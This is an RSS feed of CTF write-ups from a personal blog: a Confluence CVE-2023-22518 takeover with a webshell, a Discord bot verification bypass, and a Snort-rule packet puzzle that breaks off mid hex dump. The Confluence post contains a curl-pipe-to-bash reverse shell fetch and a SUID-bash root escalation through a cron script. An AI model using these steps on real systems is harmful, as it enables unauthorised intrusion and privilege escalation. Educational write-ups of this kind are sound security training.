<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Posts on Osiriz</title><link>https://osiriz.dev/posts/</link><description>Recent content in Posts on Osiriz</description><generator>Hugo -- gohugo.io</generator><language>en-us</language><lastBuildDate>Sun, 06 Apr 2025 15:00:00 +0200</lastBuildDate><atom:link href="https://osiriz.dev/posts/index.xml" rel="self" type="application/rss+xml"/><item><title>DDC 2025 Regionals - Intranet Madness</title><link>https://osiriz.dev/posts/2025/04/ddc-2025-regionals-intranet-madness/</link><pubDate>Sun, 06 Apr 2025 15:00:00 +0200</pubDate><guid>https://osiriz.dev/posts/2025/04/ddc-2025-regionals-intranet-madness/</guid><description>Challenge Description Danish (Original) Blækspruttespillene er i gang. De har sat en kommunikationsplatform op til deltagerne, og deltagerne yapper løs.
Login med bruger: 456 og password: password, eller opret din egen bruger for at deltage!
intranetmadness.hkn:8090
English (Chatgpt) The squid games are underway. They have set up a communication platform for the participants, and the participants are chatting away.
Log in with username: 456 and password: password, or create your own account to participate!</description><content type="html"><![CDATA[<h2 id="challenge-description">Challenge Description</h2>
<h3 id="danish-original">Danish (Original)</h3>
<p>Blækspruttespillene er i gang. De har sat en kommunikationsplatform op til deltagerne, og deltagerne yapper løs.</p>
<p>Login med bruger: <code>456</code> og password: <code>password</code>, eller opret din egen bruger for at deltage!</p>
<blockquote>
<p>intranetmadness.hkn:8090</p>
</blockquote>
<h3 id="english-chatgpt">English (Chatgpt)</h3>
<p>The squid games are underway. They have set up a communication platform for the participants, and the participants are chatting away.</p>
<p>Log in with username: <code>456</code> and password: <code>password</code>, or create your own account to participate!</p>
<blockquote>
<p>intranetmadness.hkn:8090</p>
</blockquote>
<h2 id="owning-confluence">Owning Confluence</h2>
<p>Going to the URL we are greeted with a login page for a confluence instance, using the provided credentials we can login. We take note of the version displayed at the bottom: <code>8.6.0</code>.</p>
<p>There are two spaces on the site: the meme-filled space of <em>Blæksprutte spillerne</em>, and <em>DOCS</em>. The latter is what will be useful for us.</p>
<p>In <em>DOCS &gt; Incident Response Plan &gt; Backup Strategi</em> we see how they run a backup script (<code>/usr/local/bin/squidbackup.sh</code>) each minute, and also a comment by the admin (<code>001</code>) about how it is important to patch the server so backup recovery isnt needed.</p>
<p>Lets look at <code>001</code>, checking their calendar we see an event refering to a &rsquo;new&rsquo; exploit that can reset confluence to <code>admin:admin</code> credentials. Reading this I thought of a <a href="https://fdca.dk/incident_response/C3RB3R-ransomware/">this blog post</a> written by a former collegue. So the vulnerability is properly <em>CVE-2023-22518</em>, which version <code>8.6.0</code> of confluence is vulnerable to.</p>
<p>Searching for a PoC I found <a href="https://github.com/ForceFledgling/CVE-2023-22518">https://github.com/ForceFledgling/CVE-2023-22518</a>, using this I reset the confluence instance:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>┌──(osiriz㉿kali)-[~/CVE-2023-22518]
</span></span><span style="display:flex;"><span>└─$ python exploit.py        
</span></span><span style="display:flex;"><span>Enter the URL: http://intranetmadness.hkn:8090/json/setup-restore.action?synchronous=True       
</span></span><span style="display:flex;"><span>Enter the path to the .zip file: xmlexport-20231109-060519-1.zip
</span></span><span style="display:flex;"><span>Exploit Success! Login Using &#39;admin :: admin&#39;
</span></span></code></pre></div><p>And now we can login using <code>admin:admin</code>.</p>
<h2 id="getting-shell-access">Getting shell access</h2>
<p>Now that we are the administrator of the confluence server, we can leverage this to get a user shell on server. Using the <code>atlplug.jar</code> file from the PoC github repo, we can install a webshell in confluence by going to <em>General Configuration &gt; Manage apps &gt; Upload app</em> and selecting the jar file. After it is done installing click on <em>Get started</em> and we have a web shell:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>shell&gt;whoami
</span></span><span style="display:flex;"><span>confluence
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>shell&gt;pwd
</span></span><span style="display:flex;"><span>/var/atlassian/application-data/confluence
</span></span></code></pre></div><p>I then use <a href="https://www.revshells.com">https://www.revshells.com</a> to generate a <code>bash</code> reverse shell to save in <code>revshell.sh</code>, serving it with <code>python -m http.server</code>, listening with <code>nc -lvnp 9001</code>, and then getting and running it on the server:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sh" data-lang="sh"><span style="display:flex;"><span>shell&gt;curl http://10.0.240.241:8000/revshell.sh|bash
</span></span></code></pre></div><p>We now have a more usable shell, quickly stabilise the shell:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>confluence@remote$ python3 -c &#39;import pty;pty.spawn(&#34;/bin/bash&#34;)&#39;
</span></span><span style="display:flex;"><span>confluence@remote$ ^Z
</span></span><span style="display:flex;"><span>zsh: suspended  nc -lvnp 9001
</span></span><span style="display:flex;"><span>osiriz@kali$ stty raw -echo; fg
</span></span><span style="display:flex;"><span>[1]  + continued  nc -lvnp 9001
</span></span><span style="display:flex;"><span>confluence@remote$ export TERM=xterm
</span></span></code></pre></div><h2 id="getting-root">Getting root</h2>
<p>Finally we can get root by looking at the backup script (<code>/usr/local/bin/squidbackup.sh</code>):</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>confluence@remote$ ls -l /usr/local/bin/squidbackup.sh 
</span></span><span style="display:flex;"><span>-rwxr-xr-x 1 root root 601 Apr  4 12:52 /usr/local/bin/squidbackup.sh
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>confluence@remote$ cat /usr/local/bin/squidbackup.sh 
</span></span><span style="display:flex;"><span>#!/bin/bash
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span># Directory to back up
</span></span><span style="display:flex;"><span>SOURCE_DIR=&#34;/var/atlassian/application-data/confluence&#34;
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span># Backup destination <span style="color:#f92672">(</span>user-specified<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>BACKUP_DIR=&#34;$1&#34;
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span># Check <span style="color:#66d9ef">if</span> backup directory is provided
</span></span><span style="display:flex;"><span>if [ -z &#34;$BACKUP_DIR&#34; ]; then
</span></span><span style="display:flex;"><span>    echo &#34;Usage: $0 &lt;backup_directory&gt;&#34;
</span></span><span style="display:flex;"><span>    exit 1
</span></span><span style="display:flex;"><span>fi
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>echo &#34;[*] Starting backup from &#39;$SOURCE_DIR&#39; to &#39;$BACKUP_DIR&#39;...&#34;
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span># Perform the backup
</span></span><span style="display:flex;"><span>cp -r &#34;$SOURCE_DIR&#34;/* &#34;$BACKUP_DIR&#34;
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>if [ -f &#34;$BACKUP_DIR/post-backup.sh&#34; ]; then
</span></span><span style="display:flex;"><span>    echo &#34;[!] post-backup.sh found. Executing...&#34;
</span></span><span style="display:flex;"><span>    chmod +x &#34;$BACKUP_DIR/post-backup.sh&#34;
</span></span><span style="display:flex;"><span>    &#34;$BACKUP_DIR/post-backup.sh&#34;
</span></span><span style="display:flex;"><span>fi
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>echo &#34;[*] Backup completed.&#34;
</span></span></code></pre></div><p>We can see that we cannot write to this script, but it runs a second script called <code>post-backup.sh</code> from the directory denoted by the variable <code>$BACKUP_DIR</code> which is the 1st argument to the script, so checking the crontab we can see that is <code>/home/conflunce/backup</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>confluence@remote$ cat /etc/cron.d/confluence_backup 
</span></span><span style="display:flex;"><span>*/1 * * * * /usr/local/bin/squidbackup.sh /home/confluence/backup
</span></span></code></pre></div><p>So lets check this script out:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>confluence@remote$ ls -l /home/confluence/backup/post-backup.sh 
</span></span><span style="display:flex;"><span>-rwxrwxrwx 1 confluence confluence 470 Apr  4 12:52 /home/confluence/backup/post-backup.sh
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>confluence@remote$ cat /home/confluence/backup/post-backup.sh 
</span></span><span style="display:flex;"><span>#!/bin/bash
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>LOG_FILE=&#34;backup-log.txt&#34;
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>echo &#34;[$(date &#39;+%Y-%m-%d %H:%M:%S&#39;)] post-backup.sh: Running in directory: $PWD&#34; &gt;&gt; &#34;$LOG_FILE&#34;
</span></span><span style="display:flex;"><span>echo &#34;[$(date &#39;+%Y-%m-%d %H:%M:%S&#39;)] Contents of $PWD:&#34; &gt;&gt; &#34;$LOG_FILE&#34;
</span></span><span style="display:flex;"><span>ls -la &gt;&gt; &#34;$LOG_FILE&#34;
</span></span><span style="display:flex;"><span>echo &#34;&#34; &gt;&gt; &#34;$LOG_FILE&#34;
</span></span><span style="display:flex;"><span>echo &#34;[$(date &#39;+%Y-%m-%d %H:%M:%S&#39;)] Number of files/folders in $PWD:&#34; &gt;&gt; &#34;$LOG_FILE&#34;
</span></span><span style="display:flex;"><span>ls -la | wc -l &gt;&gt; &#34;$LOG_FILE&#34;
</span></span><span style="display:flex;"><span>echo &#34;&#34; &gt;&gt; &#34;$LOG_FILE&#34;
</span></span><span style="display:flex;"><span>echo &#34;[$(date &#39;+%Y-%m-%d %H:%M:%S&#39;)] post-backup.sh completed.&#34; &gt;&gt; &#34;$LOG_FILE&#34;
</span></span></code></pre></div><p>We can write to this file, so lets set the suid bit on <code>/bin/bash</code> so we can make a shell with root permissions:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>confluence@remote$ echo &#34;chmod +s /bin/bash&#34; &gt;&gt; /home/confluence/backup/post-backup.sh
</span></span></code></pre></div><p>And after about a minute we should be able to get the root shell:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>confluence@remote$ ls -l /bin/bash
</span></span><span style="display:flex;"><span>-rwsr-sr-x 1 root root 1446024 Mar 31  2024 /bin/bash
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>confluence@remote$ /bin/bash -p
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>root@remote# cat /flag.txt 
</span></span><span style="display:flex;"><span>DDC{D0N7H4CK7H35QU1DSM4N}
</span></span></code></pre></div>]]></content></item><item><title>DDC 2025 Qualification - DDC Admin Bot</title><link>https://osiriz.dev/posts/2025/03/ddc-2025-qualification-ddc-admin-bot/</link><pubDate>Tue, 18 Mar 2025 13:00:00 +0100</pubDate><guid>https://osiriz.dev/posts/2025/03/ddc-2025-qualification-ddc-admin-bot/</guid><description>Challenge Description Danish (Original) Vi har lavet en super sej discord server til alle DDC Admins. For at gøre det let at tilføje nye admin har jeg lavet en bot! Her er et link til serveren. I får også sourcekoden så I kan se hvordan den virker.
English (Chatgpt) We have created a super cool Discord server for all DDC Admins. To make it easy to add new admins, I have made a bot!</description><content type="html"><![CDATA[<h2 id="challenge-description">Challenge Description</h2>
<h3 id="danish-original">Danish (Original)</h3>
<p>Vi har lavet en super sej discord server til alle DDC Admins. For at gøre det let at tilføje nye admin har jeg lavet en bot! Her er et <a href="https://discord.com/invite/WV8e4SD84v">link til serveren</a>. I får også sourcekoden så I kan se hvordan den virker.</p>
<h3 id="english-chatgpt">English (Chatgpt)</h3>
<p>We have created a super cool Discord server for all DDC Admins. To make it easy to add new admins, I have made a bot! Here is a <a href="https://discord.com/invite/WV8e4SD84v">link to the server</a>. You&rsquo;ll also get the source code so you can see how it works.</p>
<h2 id="file">File</h2>
<p>We are also given the source code for the bot:</p>
<ul>
<li><a href="https://filehost.osiriz.xyz/homepage/files/ddc2025/qualification/Misc_DDC_Admin_Bot.zip">Misc_DDC_Admin_Bot.zip</a></li>
</ul>
<h2 id="solution">Solution</h2>
<p>The bot is a pretty simple verification bot, use the command <code>!verifyme</code> and wait for a moderator to react to a message in the hidden verification channel with ✅. But the moderator is not going to do that, so lets do it ourselves.</p>
<p>The flaw in code is in the check function that checks if the reaction that we are waiting for is the correct one (as seen on line 67 - 73, and waiting for on line 77)</p>
<p>Line 67 - 73:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">check</span>(reaction, reactor):
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">return</span> (
</span></span><span style="display:flex;"><span>    str(reaction<span style="color:#f92672">.</span>emoji) <span style="color:#f92672">==</span> <span style="color:#e6db74">&#34;✅&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">and</span> reaction<span style="color:#f92672">.</span>message<span style="color:#f92672">.</span>content <span style="color:#f92672">==</span> msg
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">and</span> reaction<span style="color:#f92672">.</span>message<span style="color:#f92672">.</span>channel<span style="color:#f92672">.</span>name <span style="color:#f92672">==</span> VERIFICATION_CHANNEL_NAME
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">and</span> any([r<span style="color:#f92672">.</span>name <span style="color:#f92672">==</span> MODERATOR_ROLE_NAME <span style="color:#66d9ef">for</span> r <span style="color:#f92672">in</span> reactor<span style="color:#f92672">.</span>roles])
</span></span><span style="display:flex;"><span>  )
</span></span></code></pre></div><p>line 77:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span>reaction, moderator <span style="color:#f92672">=</span> <span style="color:#66d9ef">await</span> bot<span style="color:#f92672">.</span>wait_for(<span style="color:#e6db74">&#39;reaction_add&#39;</span>, check<span style="color:#f92672">=</span>check)
</span></span></code></pre></div><p>The flaw here is that the <code>reaction_add</code> event that the bot is waiting for is not bound to the scope of the guild that we used the command in and all of the checks is based on the names and content of channels, roles and messages instead of unique references (snowflake ids) to these.</p>
<p>This means that if we can add the bot to our own server, where we have a role called <code>moderator</code>, a channel called <code>verification</code> with the exact message, and we then react with ✅, the bot will see it and pass all the checks.</p>
<p>So create a server, add the moderator role, and the verification channel.</p>
<p>The message takes a bit of work since we need to mention a role from another server. But by knowning the underlying syntax of mentions, this becomes easy:</p>
<ul>
<li><code>@user</code> = <code>&lt;@user-id&gt;</code></li>
<li><code>@role</code> = <code>&lt;@&amp;role-id&gt;</code></li>
<li><code>#channel</code> = <code>&lt;#channel-id&gt;</code></li>
</ul>
<p>So the message would be (<code>1293636473291014184</code> is the role id of moderator from the server): <code>&lt;@your-user-id&gt; has requested verification. Moderators with &lt;@&amp;1293636473291014184&gt;, please verify.</code></p>
<p>And in discord:

    <img src="https://filehost.osiriz.xyz/homepage/img/ddc2025/qualification/ddc_bot/verification_message.png"  class="center"  />

</p>
<p>And to add the bot to our server we need to make the correct OAuth2 URL (the <code>add app</code> button on the bot only adds it with the default scope which is not bot). We get the default url by right-clicking the <code>add app</code> button on the bot: <a href="https://discord.com/oauth2/authorize?client_id=1293624223008559165">https://discord.com/oauth2/authorize?client_id=1293624223008559165</a>.</p>
<p>We need to add some more parameters.</p>
<ul>
<li>The <code>permissions</code> parameter controls its permissions, I have set it to 8 here for administrator which means all permissions.</li>
<li>The <code>scope</code> parameter controls the scope of application, we set it to bot here.</li>
</ul>
<p>So the new URL is: <a href="https://discord.com/oauth2/authorize?client_id=1293624223008559165&amp;permissions=8&amp;scope=bot">https://discord.com/oauth2/authorize?client_id=1293624223008559165&amp;permissions=8&amp;scope=bot</a>. Pasting this into a browser allows us to add the bot to our server.</p>
<p>Now just use the <code>!verifyme</code> command in the challenge server and react to your verification message in your own server. You should now have the member role and be able to see the <code>challenge-writeups</code> channel to get the flag:

    <img src="https://filehost.osiriz.xyz/homepage/img/ddc2025/qualification/ddc_bot/flag.png"  class="center"  />

</p>
<p>And the flag is <code>DDC{d1sc0rd_b0t5_4r3_h4rd}</code>.</p>
]]></content></item><item><title>FDCA Xmas 2024 Day 24 - Ragnarok et al.</title><link>https://osiriz.dev/posts/2024/12/fdca-xmas-2024-day-24-ragnarok-et-al./</link><pubDate>Tue, 24 Dec 2024 15:59:24 +0100</pubDate><guid>https://osiriz.dev/posts/2024/12/fdca-xmas-2024-day-24-ragnarok-et-al./</guid><description>Challenge Description Danish (original) Efter alt den hjælp vi har fået har FDCA’s SPECOPS endelig kunne trævle gennem nok af jættenettet og fået adgang til en service vi forventer kan se fremtiden. En digitalisering af Mimir’s eksistens. Ja, Odin fortæller os ligefrem, at den har svaret på livet, universet og alting.
Vi har dog noget svært ved at kommunikere med den. Den taler ikke samme sprog som os og snakker bare om “Magiske sekvenser”.</description><content type="html"><![CDATA[<h2 id="challenge-description">Challenge Description</h2>
<h3 id="danish-original">Danish (original)</h3>
<p>Efter alt den hjælp vi har fået har FDCA’s SPECOPS endelig kunne trævle gennem nok af jættenettet og fået adgang til en service vi forventer kan se fremtiden. En digitalisering af Mimir’s eksistens. Ja, Odin fortæller os ligefrem, at den har svaret på livet, universet og alting.</p>
<p>Vi har dog noget svært ved at kommunikere med den. Den taler ikke samme sprog som os og snakker bare om “Magiske sekvenser”.
Vi har derfor brug for at du finder ud af hvordan du kan kommunikere med den, og derefter skal du finde ud af, hvordan ragnarok vil starte så vi kan forhindre det en gang for alle.</p>
<h3 id="english-from-chatgpt">English (from chatgpt)</h3>
<p>After all the help we&rsquo;ve received, FDCA&rsquo;s SPECOPS has finally been able to sift through enough of the giant network and gained access to a service we expect can foresee the future. A digitization of Mimir&rsquo;s existence. Yes, Odin even tells us that it has the answer to life, the universe, and everything.</p>
<p>However, we have some difficulty communicating with it. It doesn’t speak the same language as us and just keeps talking about &lsquo;Magical sequences.&rsquo; Therefore, we need you to figure out how to communicate with it, and then you need to find out how Ragnarok will begin so we can prevent it once and for all.</p>
<h2 id="solution">Solution</h2>
<p><strong>General note:</strong> The session can easily hang, if it does: CTRL-C and connect again.</p>
<h3 id="snorting-out-the-sequence">Snorting out the sequence</h3>
<p>We are given the domain and port combo of <code>ragnarok.jættenettet.dk 42</code>, connecting to it using <code>nc</code> we get:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>$ nc ragnarok.jættenettet.dk <span style="color:#ae81ff">42</span>
</span></span><span style="display:flex;"><span>You are now communicating with Mimir&#39;s magic sequence SNORT&#39;er, version 2.9.20.
</span></span><span style="display:flex;"><span>The gateway for puny minds to fathom a small part of the infinite future.
</span></span><span style="display:flex;"><span>#<span style="color:#75715e">##############################################################################</span>
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>Please input your magical sequence:
</span></span><span style="display:flex;"><span>&gt;&gt;&gt; 
</span></span></code></pre></div><p>From the text we can deduce that this is <a href="https://www.snort.org">snort</a>, and as I found out from writing <code>var test test</code>  and getting <code>Unknown rule type: var</code> this is snort rules. So using <a href="http://manual-snort-org.s3-website-us-east-1.amazonaws.com/node27.html">section 3 of the snort user manual</a> we can get the syntax.</p>
<h3 id="giants-guide">Giant&rsquo;s guide</h3>
<p>So lets try and find something to get a foothold of the situation, lets search for ragnarok in tcp packets:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>Please input your magical sequence:
</span></span><span style="display:flex;"><span>&gt;&gt;&gt; alert tcp any any -&gt; any any <span style="color:#f92672">(</span>content:<span style="color:#e6db74">&#34;ragnarok&#34;</span>; sid:1<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>Sequence recieved. Validating magic sequence...
</span></span><span style="display:flex;"><span>Validation succeeded. Beginning sequencing of your submission...
</span></span><span style="display:flex;"><span>SNORT&#39;er finished with the following results:
</span></span><span style="display:flex;"><span>12/24-15:00:10.995364  [**] [1:1:0] [**] [Priority: 0] {TCP} 0.0.0.0:60842 -&gt; 76.123.42.19:80
</span></span><span style="display:flex;"><span>12/24-15:00:10.995364 00:00:00:00:00:00 -&gt; 00:00:00:00:00:00 type:0x800 len:0xA6
</span></span><span style="display:flex;"><span>0.0.0.0:60842 -&gt; 76.123.42.19:80 TCP TTL:64 TOS:0x0 ID:4638 IpLen:20 DgmLen:152 DF
</span></span><span style="display:flex;"><span>***AP*** Seq: 0x7941BC2F  Ack: 0xED3C7DAE  Win: 0x200  TcpLen: 32
</span></span><span style="display:flex;"><span>TCP Options (3) =&gt; NOP NOP TS: 4053075816 1122287092
</span></span><span style="display:flex;"><span>0x0000: 00 00 00 00 00 00 00 00 00 00 00 00 08 00 45 00  ..............E.
</span></span><span style="display:flex;"><span>0x0010: 00 98 12 1E 40 00 40 06 B1 B4 00 00 00 00 4C 7B  ....@.@.......L{
</span></span><span style="display:flex;"><span>0x0020: 2A 13 ED AA 00 50 79 41 BC 2F ED 3C 7D AE 80 18  *....PyA./.&lt;}...
</span></span><span style="display:flex;"><span>0x0030: 02 00 E0 4F 00 00 01 01 08 0A F1 95 07 68 42 E4  ...O.........hB.
</span></span><span style="display:flex;"><span>0x0040: BD F4 47 45 54 20 2F 72 61 67 6E 61 72 6F 6B 5F  ..GET /ragnarok_
</span></span><span style="display:flex;"><span>0x0050: 67 75 69 64 65 2E 68 74 6D 6C 20 48 54 54 50 2F  guide.html HTTP/
</span></span><span style="display:flex;"><span>0x0060: 31 2E 31 0D 0A 48 6F 73 74 3A 20 6A 61 65 74 74  1.1..Host: jaett
</span></span><span style="display:flex;"><span>0x0070: 65 67 75 69 64 65 2E 6F 6E 6C 69 6E 65 0D 0A 55  eguide.online..U
</span></span><span style="display:flex;"><span>0x0080: 73 65 72 2D 41 67 65 6E 74 3A 20 63 75 72 6C 2F  ser-Agent: curl/
</span></span><span style="display:flex;"><span>0x0090: 38 2E 35 2E 30 0D 0A 41 63 63 65 70 74 3A 20 2A  8.5.0..Accept: *
</span></span><span style="display:flex;"><span>0x00A0: 2F 2A 0D 0A 0D 0A                                /*....
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>12/24-15:00:11.015369  [**] [1:1:0] [**] [Priority: 0] {TCP} 76.123.42.19:80 -&gt; 0.0.0.0:60842
</span></span><span style="display:flex;"><span>12/24-15:00:11.015369 00:00:00:00:00:00 -&gt; 00:00:00:00:00:00 type:0x800 len:0x261
</span></span><span style="display:flex;"><span>76.123.42.19:80 -&gt; 0.0.0.0:60842 TCP TTL:64 TOS:0x0 ID:859 IpLen:20 DgmLen:595 DF
</span></span><span style="display:flex;"><span>***AP*** Seq: 0xED3C7DAE  Ack: 0x7941BC93  Win: 0x200  TcpLen: 32
</span></span><span style="display:flex;"><span>TCP Options (3) =&gt; NOP NOP TS: 1122287112 4053075816
</span></span><span style="display:flex;"><span>0x0000: 00 00 00 00 00 00 00 00 00 00 00 00 08 00 45 00  ..............E.
</span></span><span style="display:flex;"><span>0x0010: 02 53 03 5B 40 00 40 06 BE BC 4C 7B 2A 13 00 00  .S.[@.@...L{*...
</span></span><span style="display:flex;"><span>0x0020: 00 00 00 50 ED AA ED 3C 7D AE 79 41 BC 93 80 18  ...P...&lt;}.yA....
</span></span><span style="display:flex;"><span>0x0030: 02 00 A7 7B 00 00 01 01 08 0A 42 E4 BE 08 F1 95  ...{......B.....
</span></span><span style="display:flex;"><span>0x0040: 07 68 48 54 54 50 2F 31 2E 31 20 32 30 30 20 4F  .hHTTP/1.1 200 O
</span></span><span style="display:flex;"><span>0x0050: 4B 0D 0A 44 61 74 65 3A 20 54 75 65 2C 20 32 34  K..Date: Tue, 24
</span></span><span style="display:flex;"><span>0x0060: 20 44 65 63 20 32 30 32 34 20 31 35 3A 30 30 3A   Dec 2024 15:00:
</span></span><span style="display:flex;"><span>0x0070: 31 31 20 47 4D 54 0D 0A 43 6F 6E 74 65 6E 74 2D  11 GMT..Content-
</span></span><span style="display:flex;"><span>0x0080: 54 79 70 65 3A 20 74 65 78 74 2F 68 74 6D 6C 0D  Type: text/html.
</span></span><span style="display:flex;"><span>0x0090: 0A 43 6F 6E 6E 65 63 74 69 6F 6E 3A 20 43 6C 6F  .Connection: Clo
</span></span><span style="display:flex;"><span>0x00A0: 73 65 0D 0A 43 6F 6E 74 65 6E 74 2D 4C 65 6E 67  se..Content-Leng
</span></span><span style="display:flex;"><span>0x00B0: 74 68 3A 20 33 39 39 0D 0A 53 65 72 76 65 72 3A  th: 399..Server:
</span></span><span style="display:flex;"><span>0x00C0: 20 44 69 70 20 49 6E 74 6F 20 54 69 6D 65 0D 0A   Dip Into Time..
</span></span><span style="display:flex;"><span>0x00D0: 0D 0A 3C 68 74 6D 6C 3E 0A 20 20 3C 68 65 61 64  ..&lt;html&gt;.  &lt;head
</span></span><span style="display:flex;"><span>0x00E0: 3E 0A 20 20 09 3C 74 69 74 6C 65 3E 54 68 65 20  &gt;.  .&lt;title&gt;The
</span></span><span style="display:flex;"><span>0x00F0: 6C 61 6E 64 69 6E 67 20 6F 66 20 74 68 65 20 4A  landing of the J
</span></span><span style="display:flex;"><span>0x0100: 61 65 74 74 65 20 47 75 69 64 65 20 4F 6E 6C 69  aette Guide Onli
</span></span><span style="display:flex;"><span>0x0110: 6E 65 20 76 65 72 73 69 6F 6E 2E 3C 2F 74 69 74  ne version.&lt;/tit
</span></span><span style="display:flex;"><span>0x0120: 6C 65 3E 0A 20 20 3C 2F 68 65 61 64 3E 0A 20 20  le&gt;.  &lt;/head&gt;.
</span></span><span style="display:flex;"><span>0x0130: 3C 62 6F 64 79 3E 0A 20 20 20 20 3C 70 3E 3C 2F  &lt;body&gt;.    &lt;p&gt;&lt;/
</span></span><span style="display:flex;"><span>0x0140: 70 3E 0A 20 20 20 20 3C 70 20 61 6C 69 67 6E 3D  p&gt;.    &lt;p align=
</span></span><span style="display:flex;"><span>0x0150: 22 63 65 6E 74 65 72 22 3E 54 68 69 73 20 69 73  &#34;center&#34;&gt;This is
</span></span><span style="display:flex;"><span>0x0160: 20 74 68 65 20 6C 61 74 65 73 74 20 67 75 69 64   the latest guid
</span></span><span style="display:flex;"><span>0x0170: 65 20 66 6F 72 20 4A 61 65 74 74 65 72 20 74 6F  e for Jaetter to
</span></span><span style="display:flex;"><span>0x0180: 20 73 68 61 72 65 20 70 6C 61 6E 73 20 66 6F 72   share plans for
</span></span><span style="display:flex;"><span>0x0190: 20 72 61 67 6E 61 72 6F 6B 2E 3C 2F 70 3E 0A 20   ragnarok.&lt;/p&gt;.
